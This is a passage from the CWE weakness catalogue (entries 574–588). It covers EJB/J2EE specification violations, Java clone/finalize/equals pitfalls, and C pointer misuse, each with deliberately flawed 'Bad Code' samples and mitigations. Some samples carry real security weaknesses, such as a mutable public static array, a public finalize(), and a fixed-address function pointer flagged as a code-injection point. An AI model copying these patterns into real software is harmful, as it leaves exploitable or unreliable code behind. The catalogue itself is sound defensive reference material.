ParentOf		578	EJB Bad Practices: Use of Class Loader	<b>699</b> <b>1000</b>	918
ParentOf		579	J2EE Bad Practices: Non-serializable Object Stored in Session	<b>699</b> <b>1000</b>	919
ParentOf		580	clone() Method Without super.clone()	<b>699</b> <b>1000</b>	920
ParentOf		581	Object Model Violation: Just One of Equals and Hashcode Defined	<b>699</b> <b>1000</b>	921
ParentOf		628	Function Call with Incorrectly Specified Arguments	<b>1000</b>	977
ParentOf		675	Duplicate Operations on Resource	<b>1000</b>	1043
ParentOf		694	Use of Multiple Resources with Duplicate Identifier	<b>699</b> <b>1000</b>	1076
ParentOf		695	Use of Low-Level Functionality	<b>699</b> <b>1000</b>	1077

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	MET10-J	Follow the general contract when implementing the compareTo() method

## CWE-574: EJB Bad Practices: Use of Synchronization Primitives

Weakness ID: 574 (Weakness Variant)

Status: Draft

**Description****Summary**

The program violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.

### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." The specification justifies this requirement in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Other

#### Quality degradation

### Demonstrative Examples

In the following Java example a Customer Entity EJB provides access to customer information in a database for a business application.

#### Java Example:

*Bad Code*

```
@Entity
public class Customer implements Serializable {
    private String id;
    private String firstName;
    private String lastName;
    private Address address;
    public Customer() {...}
    public Customer(String id, String firstName, String lastName) {...}
    @Id
    public String getCustomerId() {...}
    public synchronized void setCustomerId(String id) {...}
    public String getFirstName() {...}
    public synchronized void setFirstName(String firstName) {...}
    public String getLastName() {...}
    public synchronized void setLastName(String lastName) {...}
    @OneToOne()
    public Address getAddress() {...}
    public synchronized void setAddress(Address address) {...}
}
```

However, the customer entity EJB uses the synchronized keyword for the set methods to attempt to provide thread safe synchronization for the member variables. The use of synchronized methods violate the restriction of the EJB specification against the use synchronization primitives within EJBs. Using synchronization primitives may cause inconsistent behavior of the EJB when used within different EJB containers.

### Potential Mitigations

#### Implementation

Do not use Synchronization Primitives when writing EJBs.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		695	Use of Low-Level Functionality		699 1077 1000
ChildOf		821	Incorrect Synchronization		<b>699</b> 1250 <b>1000</b>

Nature	Type	ID	Name	V	Page
ChildOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1403

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP3	Use of an improper API

## CWE-575: EJB Bad Practices: Use of AWT Swing

Weakness ID: 575 (Weakness Variant)

Status: Draft

### Description

#### Summary

The program violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.

#### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." The specification justifies this requirement in the following way: "Most servers do not allow direct interaction between an application program and a keyboard/display attached to the server system."

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Java

#### Common Consequences

##### Other

##### Quality degradation

#### Demonstrative Examples

The following Java example is a simple converter class for converting US dollars to Yen. This converter class demonstrates the improper practice of using a stateless session Enterprise JavaBean that implements an AWT Component and AWT keyboard event listener to retrieve keyboard input from the user for the amount of the US dollars to convert to Yen.

#### Java Example:

Bad Code

```
@Stateless
public class ConverterSessionBean extends Component implements KeyListener, ConverterSessionRemote {
    /* member variables for receiving keyboard input using AWT API */
    ...
    private StringBuffer enteredText = new StringBuffer();
    /* conversion rate on US dollars to Yen */
    private BigDecimal yenRate = new BigDecimal("115.3100");
    public ConverterSessionBean() {
        super();
        /* method calls for setting up AWT Component for receiving keyboard input */
        ...
        addKeyListener(this);
    }
    public BigDecimal dollarToYen(BigDecimal dollars) {
        BigDecimal result = dollars.multiply(yenRate);
        return result.setScale(2, BigDecimal.ROUND_DOWN);
    }
    /* member functions for implementing AWT KeyListener interface */
    public void keyTyped(KeyEvent event) {
        ...
    }
    public void keyPressed(KeyEvent e) {
    }
}
```



```

public void keyReleased(KeyEvent e) {
}
/* member functions for receiving keyboard input and displaying output */
public void paint(Graphics g) {...}
...
}

```

This use of the AWT and Swing APIs within any kind of Enterprise JavaBean not only violates the restriction of the EJB specification against using AWT or Swing within an EJB but also violates the intended use of Enterprise JavaBeans to separate business logic from presentation logic.

The Stateless Session Enterprise JavaBean should contain only business logic. Presentation logic should be provided by some other mechanism such as Servlets or Java Server Pages (JSP) as in the following Java/JSP example.

**Java Example:**

Good Code

```

@Stateless
public class ConverterSessionBean implements ConverterSessionRemoteInterface {
    /* conversion rate on US dollars to Yen */
    private BigDecimal yenRate = new BigDecimal("115.3100");
    public ConverterSessionBean() {
    }
    /* remote method to convert US dollars to Yen */
    public BigDecimal dollarToYen(BigDecimal dollars) {
        BigDecimal result = dollars.multiply(yenRate);
        return result.setScale(2, BigDecimal.ROUND_DOWN);
    }
}

```

**JSP Example:**

Good Code

```

<%@ page import="converter.ejb.Converter, java.math.*, javax.naming.*"%>
<%!
private Converter converter = null;
public void jspInit() {
    try {
        InitialContext ic = new InitialContext();
        converter = (Converter) ic.lookup(Converter.class.getName());
    } catch (Exception ex) {
        System.out.println("Couldn't create converter bean." + ex.getMessage());
    }
}
public void jspDestroy() {
    converter = null;
}
%>
<html>
<head><title>Converter</title></head>
<body bgcolor="white">
<h1>Converter</h1>
<hr>
<p>Enter an amount to convert:</p>
<form method="get">
    <input type="text" name="amount" size="25"><br>
    <p>
    <input type="submit" value="Submit">
    <input type="reset" value="Reset">
</form>
<%
String amount = request.getParameter("amount");
if ( amount != null && amount.length() > 0 ) {
    BigDecimal d = new BigDecimal(amount);
    BigDecimal yenAmount = converter.dollarToYen(d);
%>
<p>
<%= amount %> dollars are <%= yenAmount %> Yen.
<p>
<%
}

```

```
%>
</body>
</html>
```

## Potential Mitigations

### Architecture and Design

Do not use AWT/Swing when writing EJBs.

## Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	ⓑ	695	Use of Low-Level Functionality	699	1077
ChildOf	ⓐ	1001	SFP Secondary Cluster: Use of an Improper API	888	1403

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP3	Use of an improper API

# CWE-576: EJB Bad Practices: Use of Java I/O

Weakness ID: 576 (Weakness Variant)

Status: Draft

## Description

### Summary

The program violates the Enterprise JavaBeans (EJB) specification by using the java.io package.

### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."

## Time of Introduction

- Architecture and Design
- Implementation

## Applicable Platforms

### Languages

- Java

## Common Consequences

### Other

### Quality degradation

## Demonstrative Examples

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. In this example, the interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Java I/O API to retrieve the XML document from the local file system.

### Java Example:

Bad Code

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    private Document interestRateXMLDocument = null;
    private File interestRateFile = null;
    public InterestRateBean() {
        try {
            /* get XML document from the local filesystem */
            interestRateFile = new File(Constants.INTEREST_RATE_FILE);
            if (interestRateFile.exists())
            {
                DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
                DocumentBuilder db = dbf.newDocumentBuilder();
            }
        }
    }
}
```

```

    interestRateXMLDocument = db.parse(interestRateFile);
  }
} catch (IOException ex) {...}
}
public BigDecimal getInterestRate(Integer points) {
  return getInterestRateFromXML(points);
}
/* member function to retrieve interest rate from XML document on the local file system */
private BigDecimal getInterestRateFromXML(Integer points) {...}
}

```

This use of the Java I/O API within any kind of Enterprise JavaBean violates the EJB specification by using the `java.io` package for accessing files within the local filesystem.

An Enterprise JavaBean should use a resource manager API for storing and accessing data. In the following example, the private member function `getInterestRateFromXMLParser` uses an XML parser API to retrieve the interest rates.

#### Java Example:

Good Code

```

@Stateless
public class InterestRateBean implements InterestRateRemote {
  public InterestRateBean() {
  }
  public BigDecimal getInterestRate(Integer points) {
    return getInterestRateFromXMLParser(points);
  }
  /* member function to retrieve interest rate from XML document using an XML parser API */
  private BigDecimal getInterestRateFromXMLParser(Integer points) {...}
}



```

#### Potential Mitigations

##### Implementation

Do not use Java I/O when writing EJBs.

##### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		695	Use of Low-Level Functionality	<input checked="" type="checkbox"/>	699 1077 1000
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	<input checked="" type="checkbox"/>	888 1403

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP3	Use of an improper API

## CWE-577: EJB Bad Practices: Use of Sockets

Weakness ID: 577 (Weakness Variant)

Status: Draft

#### Description

##### Summary

The program violates the Enterprise JavaBeans (EJB) specification by using sockets.

##### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast." The specification justifies this requirement in the following way: "The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients."

##### Time of Introduction

- Architecture and Design
- Implementation

##### Applicable Platforms

## Languages

- Java

## Common Consequences

### Other

### Quality degradation

## Demonstrative Examples

The following Java example is a simple stateless Enterprise JavaBean that retrieves stock symbols and stock values. The Enterprise JavaBean creates a socket and listens for and accepts connections from clients on the socket.

### Java Example:

*Bad Code*

```
@Stateless
public class StockSymbolBean implements StockSymbolRemote {
    ServerSocket serverSocket = null;
    Socket clientSocket = null;
    public StockSymbolBean() {
        try {
            serverSocket = new ServerSocket(Constants.SOCKET_PORT);
        } catch (IOException ex) {...}
        try {
            clientSocket = serverSocket.accept();
        } catch (IOException e) {...}
    }
    public String getStockSymbol(String name) {...}
    public BigDecimal getStockValue(String symbol) {...}
    private void processClientInputFromSocket() {...}
}
```

And the following Java example is similar to the previous example but demonstrates the use of multicast socket connections within an Enterprise JavaBean.

### Java Example:

*Bad Code*

```
@Stateless
public class StockSymbolBean extends Thread implements StockSymbolRemote {
    ServerSocket serverSocket = null;
    Socket clientSocket = null;
    boolean listening = false;
    public StockSymbolBean() {
        try {
            serverSocket = new ServerSocket(Constants.SOCKET_PORT);
        } catch (IOException ex) {...}
        listening = true;
        while(listening) {
            start();
        }
    }
    public String getStockSymbol(String name) {...}
    public BigDecimal getStockValue(String symbol) {...}
    public void run() {
        try {
            clientSocket = serverSocket.accept();
        } catch (IOException e) {...}
        ...
    }
}
```

The previous two examples within any type of Enterprise JavaBean violate the EJB specification by attempting to listen on a socket, accepting connections on a socket, or using a socket for multicast.

## Potential Mitigations

### Architecture and Design

### Implementation

Do not use Sockets when writing EJBs.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		573	Improper Following of Specification by Caller	699	910
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	1000	
				888	1403

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP3	Use of an improper API

## CWE-578: EJB Bad Practices: Use of Class Loader

Weakness ID: 578 (Weakness Variant)

Status: Draft

### Description

#### Summary

The program violates the Enterprise JavaBeans (EJB) specification by using the class loader.

#### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." The specification justifies this requirement in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment."

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Java

#### Common Consequences

##### Confidentiality

##### Integrity

##### Availability

##### Other

##### Execute unauthorized code or commands

##### Varies by context

#### Demonstrative Examples

##### Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. The interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Class Loader for the EJB class to obtain the XML document from the local file system as an input stream.

##### Java Example:

Bad Code

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    private Document interestRateXMLDocument = null;
    public InterestRateBean() {
        try {
            // get XML document from the local filesystem as an input stream
            // using the ClassLoader for this class
            ClassLoader loader = this.getClass().getClassLoader();
            InputStream in = loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            interestRateXMLDocument = db.parse(interestRateFile);
        }
    }
}
```

```

    } catch (IOException ex) {...}
  }
  public BigDecimal getInterestRate(Integer points) {
    return getInterestRateFromXML(points);
  }
  /* member function to retrieve interest rate from XML document on the local file system */
  private BigDecimal getInterestRateFromXML(Integer points) {...}
}

```

This use of the Java Class Loader class within any kind of Enterprise JavaBean violates the restriction of the EJB specification against obtaining the current class loader as this could compromise the security of the application using the EJB.

### Example 2:

An EJB is also restricted from creating a custom class loader and creating a class and instance of a class from the class loader, as shown in the following example.

#### Java Example:

Bad Code

```

@Stateless
public class LoaderSessionBean implements LoaderSessionRemote {
  public LoaderSessionBean() {
    try {
      ClassLoader loader = new CustomClassLoader();
      Class c = loader.loadClass("someClass");
      Object obj = c.newInstance();
      /* perform some task that uses the new class instance member variables or functions */
      ...
    } catch (Exception ex) {...}
  }
  public class CustomClassLoader extends ClassLoader {
  }
}

```

### Potential Mitigations

#### Architecture and Design

#### Implementation

Do not use the Class Loader when writing EJBs.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		573	Improper Following of Specification by Caller	<b>699</b>	910
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP3	Use of an improper API

## CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session

Weakness ID: 579 (Weakness Variant)

Status: Draft

### Description

#### Summary

The application stores a non-serializable object as an HttpSession attribute, which can hurt reliability.

#### Extended Description

A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of the

application. This is only possible if all session data is serializable, allowing the session to be duplicated between the JVMs.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Java

#### Common Consequences

##### Other

##### Quality degradation

#### Demonstrative Examples

The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.

##### Java Example:

*Bad Code*

```
public class DataGlob {
    String globName;
    String globValue;
    public void addToSession(HttpSession session) {
        session.setAttribute("glob", this);
    }
}
```

#### Potential Mitigations

##### Implementation

In order for session replication to work, the values the application stores as attributes in the session must implement the Serializable interface.

#### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		573	Improper Following of Specification by Caller	<b>699</b>	910
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP1	Glitch in computation

## CWE-580: clone() Method Without super.clone()

Weakness ID: 580 (*Weakness Variant*)

Status: Draft

#### Description

##### Summary

The software contains a clone() method that does not call super.clone() to obtain the new object.

##### Extended Description

All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.

#### Time of Introduction

- Implementation

#### Applicable Platforms

##### Languages

- Java

#### Common Consequences



**Integrity****Other****Unexpected state****Quality degradation****Demonstrative Examples**

The following two classes demonstrate a bug introduced by not calling `super.clone()`. Because of the way `Kibitzer` implements `clone()`, `FancyKibitzer`'s `clone` method will return an object of type `Kibitzer` instead of `FancyKibitzer`.

**Java Example:***Bad Code*

```
public class Kibitzer {
    public Object clone() throws CloneNotSupportedException {
        Object returnMe = new Kibitzer();
        ...
    }
}

public class FancyKibitzer extends Kibitzer{
    public Object clone() throws CloneNotSupportedException {
        Object returnMe = super.clone();
        ...
    }
}
```

**Potential Mitigations****Implementation**

Call `super.clone()` within your `clone()` method, when obtaining a new object.

**Implementation**

In some cases, you can eliminate the `clone` method altogether and use copy constructors.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		485	Insufficient Encapsulation	<b>699</b>	819
ChildOf		573	Improper Following of Specification by Caller	699 1000	910
ChildOf		1002	SFP Secondary Cluster: Unexpected Entry Points	<b>888</b>	1404

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP28	Unexpected access points

## CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined

**Weakness ID:** 581 (*Weakness Base*) **Status:** Draft

**Description****Summary**

The software does not maintain equal hashcodes for equal objects.

**Extended Description**

Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if `a.equals(b) == true` then `a.hashCode() == b.hashCode()`.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- Java

**Common Consequences**

**Integrity****Other****Other**

If this invariant is not upheld, it is likely to cause trouble if objects of this class are stored in a collection. If the objects of the class in question are used as a key in a Hashtable or if they are inserted into a Map or Set, it is critical that equal objects have equal hashcodes.

**Potential Mitigations****Implementation**

Both Equals() and Hashcode() should be defined.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		573	Improper Following of Specification by Caller	<b>699</b> <b>1000</b>	910
ChildOf		850	CERT Java Secure Coding Section 05 - Methods (MET)	<b>844</b>	1293
ChildOf		977	SFP Secondary Cluster: Design	<b>888</b>	1382

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	MET09-J	Classes that define an equals() method must also define a hashCode() method

**CWE-582: Array Declared Public, Final, and Static****Weakness ID:** 582 (*Weakness Variant*)**Status:** Draft**Description****Summary**

The program declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.

**Extended Description**

Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- Java

**Common Consequences****Integrity****Modify application data****Demonstrative Examples**

The following Java Applet code mistakenly declares an array public, final and static.

**Java Example:***Bad Code*

```
public final class urlTool extends Applet {
    public final static URL[] urls;
    ...
}
```

**Potential Mitigations****Implementation**

In most situations the array should be made private.

**Background Details**

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment

in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf		490	Mobile Code Issues	<b>699</b>	826
ChildOf		668	Exposure of Resource to Wrong Sphere	<b>1000</b>	1035
ChildOf		849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)	<b>844</b>	1293
ChildOf		1002	SFP Secondary Cluster: Unexpected Entry Points	<b>888</b>	1404

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	OBJ10-J	Do not use public static nonfinal variables

## CWE-583: finalize() Method Declared Public

**Weakness ID:** 583 (Weakness Variant) **Status:** Incomplete

### Description

#### Summary

The program violates secure coding principles for mobile code by declaring a finalize() method public.

#### Extended Description

A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke one of your finalize() methods because it is declared with public access.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Confidentiality

#### Integrity

#### Availability

#### Alter execution logic

#### Execute unauthorized code or commands

#### Modify application data

### Demonstrative Examples

The following Java Applet code mistakenly declares a public finalize() method.

#### Java Example:

*Bad Code*

```
public final class urlTool extends Applet {
    public void finalize() {
        ...
    }
    ...
}
```

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment

in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

### Potential Mitigations

#### Implementation

If you are using `finalize()` as it was designed, there is no reason to declare `finalize()` with anything other than protected access.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	490	Mobile Code Issues	699	826
ChildOf	G	668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf	C	850	CERT Java Secure Coding Section 05 - Methods (MET)	844	1293
ChildOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1404

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	MET12-J	Do not use finalizers
Software Fault Patterns	SFP28	Unexpected access points

## CWE-584: Return Inside Finally Block

Weakness ID: 584 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.

### Time of Introduction

- Implementation

### Common Consequences

#### Other

#### Alter execution logic

### Demonstrative Examples

In the following code excerpt, the `IllegalArgumentException` will never be delivered to the caller. The finally block will cause the exception to be discarded.

#### Java Example:

*Bad Code*

```
try {
    ...
    throw IllegalArgumentException();
}
finally {
    return r;
}
```

### Potential Mitigations

#### Implementation

Do not use a return statement inside the finally block. The finally block should have "cleanup" code.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	389	Error Conditions, Return Values, Status Codes	699	670
ChildOf	G	705	Incorrect Control Flow Scoping	1000	1105
ChildOf	C	851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	844	1294

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	961	SFP Secondary Cluster: Incorrect Exception Behavior	<b>888</b>	1376

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	ERR04-J	Do not complete abruptly from a finally block
CERT Java Secure Coding	ERR05-J	Do not let checked exceptions escape from a finally block
Software Fault Patterns	SFP6	Incorrect Exception Behavior

## CWE-585: Empty Synchronized Block

Weakness ID: 585 (*Weakness Variant*) Status: Draft

### Description

#### Summary

The software contains an empty synchronized block.

#### Extended Description

An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Other

#### Other

An empty synchronized block will wait until nobody else is using the synchronizer being specified. While this may be part of the desired behavior, because you haven't protected the subsequent code by placing it inside the synchronized block, nothing is stopping somebody else from modifying whatever it was you were waiting for while you run the subsequent code.

### Demonstrative Examples

The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.

#### Java Example:

*Bad Code*

```
synchronized(this) { }
```

Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.

*Good Code*

```
public void setID(int ID){
    synchronized(this){
        this.ID = ID;
    }
}
```

### Potential Mitigations

#### Implementation

When you come across an empty synchronized statement, or a synchronized statement in which the code has been commented out, try to determine what the original intentions were and whether or not the synchronized block is still necessary.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	371	State Issues	699	650
ChildOf	G	398	Indicator of Poor Code Quality	<b>699</b> <b>1000</b>	684
ChildOf	C	987	SFP Secondary Cluster: Multiple Locks/Unlocks	<b>888</b>	1387

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP21	Multiple locks/unlocks

## References

"Intrinsic Locks and Synchronization (in Java)". < <http://java.sun.com/docs/books/tutorial/essential/concurrency/locksyntax.html> >.

## CWE-586: Explicit Call to Finalize()

Weakness ID: 586 (Weakness Variant)

Status: Draft

## Description

## Summary

The software makes an explicit call to the finalize() method from outside the finalizer.

## Extended Description

While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.

## Time of Introduction

- Implementation

## Applicable Platforms

## Languages

- Java

## Common Consequences

## Integrity

## Other

## Unexpected state

## Quality degradation

## Demonstrative Examples

The following code fragment calls finalize() explicitly:

## Java Example:

Bad Code

```
// time to clean up
widget.finalize();
```

## Potential Mitigations

## Implementation

## Testing

Do not make explicit calls to finalize(). Use static analysis tools to spot such instances.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	G	227	Improper Fulfillment of API Contract ('API Abuse')	<b>1000</b>	418
ChildOf	G	398	Indicator of Poor Code Quality	<b>699</b>	684
ChildOf	C	850	CERT Java Secure Coding Section 05 - Methods (MET)	<b>844</b>	1293
ChildOf	C	1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403
PeerOf	G	675	Duplicate Operations on Resource	1000	1043

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	MET12-J	Do not use finalizers
Software Fault Patterns	SFP3	Use of an improper API

## CWE-587: Assignment of a Fixed Address to a Pointer

Weakness ID: 587 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The software sets a pointer to a specific address other than NULL or 0.

#### Extended Description

Using a fixed address is not portable because that address will probably not be valid in all environments or platforms.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- C
- C++
- C#
- Assembly

#### Common Consequences

##### Integrity

##### Confidentiality

##### Availability

##### Execute unauthorized code or commands

If one executes code at a known location, an attacker might be able to inject code there beforehand.

##### Availability

##### DoS: crash / exit / restart

If the code is ported to another platform or environment, the pointer is likely to be invalid and cause a crash.

##### Confidentiality

##### Integrity

##### Read memory

##### Modify memory

The data at a known pointer location can be easily read or influenced by an attacker.

#### Demonstrative Examples

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

##### C Example:

*Bad Code*

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

#### Potential Mitigations

##### Implementation

Never set a pointer to a fixed address.

#### Weakness Ordinalities

**Primary** (*where the weakness exists independent of other weaknesses*)



## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	344	Use of Invariant Value in Dynamically Changing Context	1000	599
ChildOf	C	465	Pointer Issues	699	782
ChildOf	C	738	CERT C Secure Coding Section 04 - Integers (INT)	734	1132
ChildOf	G	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1000	1153
ChildOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1313
ChildOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1393
MemberOf	V	884	CWE Cross-section	884	1319

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	INT11-C	Take care when converting from pointer to integer or integer to pointer
CERT C++ Secure Coding	INT11-CPP	Take care when converting from pointer to integer or integer to pointer
Software Fault Patterns	SFP1	Glitch in computation

## White Box Definitions

A weakness where code path has:

1. end statement that assigns an address to a pointer
2. start statement that defines the address and the address is a literal value

## CWE-588: Attempt to Access Child of a Non-structure Pointer

Weakness ID: 588 (*Weakness Variant*)

Status: Incomplete

## Description

## Summary

Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.

## Time of Introduction

- Architecture and Design
- Implementation

## Common Consequences

## Integrity

## Modify memory

Adjacent variables in memory may be corrupted by assignments performed on fields after the cast.

## Availability

## DoS: crash / exit / restart

Execution may end due to a memory access error.

## Demonstrative Examples

## C Example:

*Bad Code*

```
struct foo
{
    int i;
}
...
int main(int argc, char **argv)
{
    *foo = (struct foo *)main;
    foo->i = 2;
    return foo->i;
}
```

## Potential Mitigations

### Requirements

The choice could be made to use a language that is not susceptible to these issues.

### Implementation

Review of type casting operations can identify locations where incompatible types are cast.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		465	Pointer Issues	699	782
ChildOf		569	Expression Issues	699	906
